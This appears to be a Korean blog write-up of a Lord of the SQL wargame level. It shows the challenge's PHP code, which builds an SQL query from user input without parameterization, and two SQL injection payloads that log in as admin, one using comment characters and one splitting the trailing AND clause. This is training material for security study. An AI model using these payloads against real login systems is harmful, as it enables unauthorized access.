EASY7
Lord of the SQL 10번 본문
Lord of the SQL 10번
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
(풀이 1)
MySQL 주석 활용하기
1) # : 한줄 주석 (%23)
2) /* 여러줄 주석 ... */
3) -- :해당 라인의 마지막까지 주석처리. 반드시 뒤에 공백 하나가 꼭 있어야 정상 처리된다. 어차피 뒤로 주석처리 되므로 URL에서는 뒤에 아무 글자 넣어서 공백을 나타내야한다.
' or id ='admin' -- d
' or id ='admin' %23 : %23은 #이다. #을 그대로 넣었더니 인식이 안된다.
(풀이 2)
뒤에 있는 AND랑 분리시키기
' or id ='admin' or '1' ='1 : OR을 중간에 두어서 뒤에 코드랑 분리시켜줬다.
'Project > Lord of SQL' 카테고리의 다른 글
LOS 12번 문제 (0) | 2019.08.09 |
---|---|
LOS 11번 (1) | 2019.08.04 |
Lord of the SQL 9번 (0) | 2019.08.04 |
Lord of the SQL 8번 (0) | 2019.08.04 |
Lord of the SQL 7번 (0) | 2019.08.04 |
Comments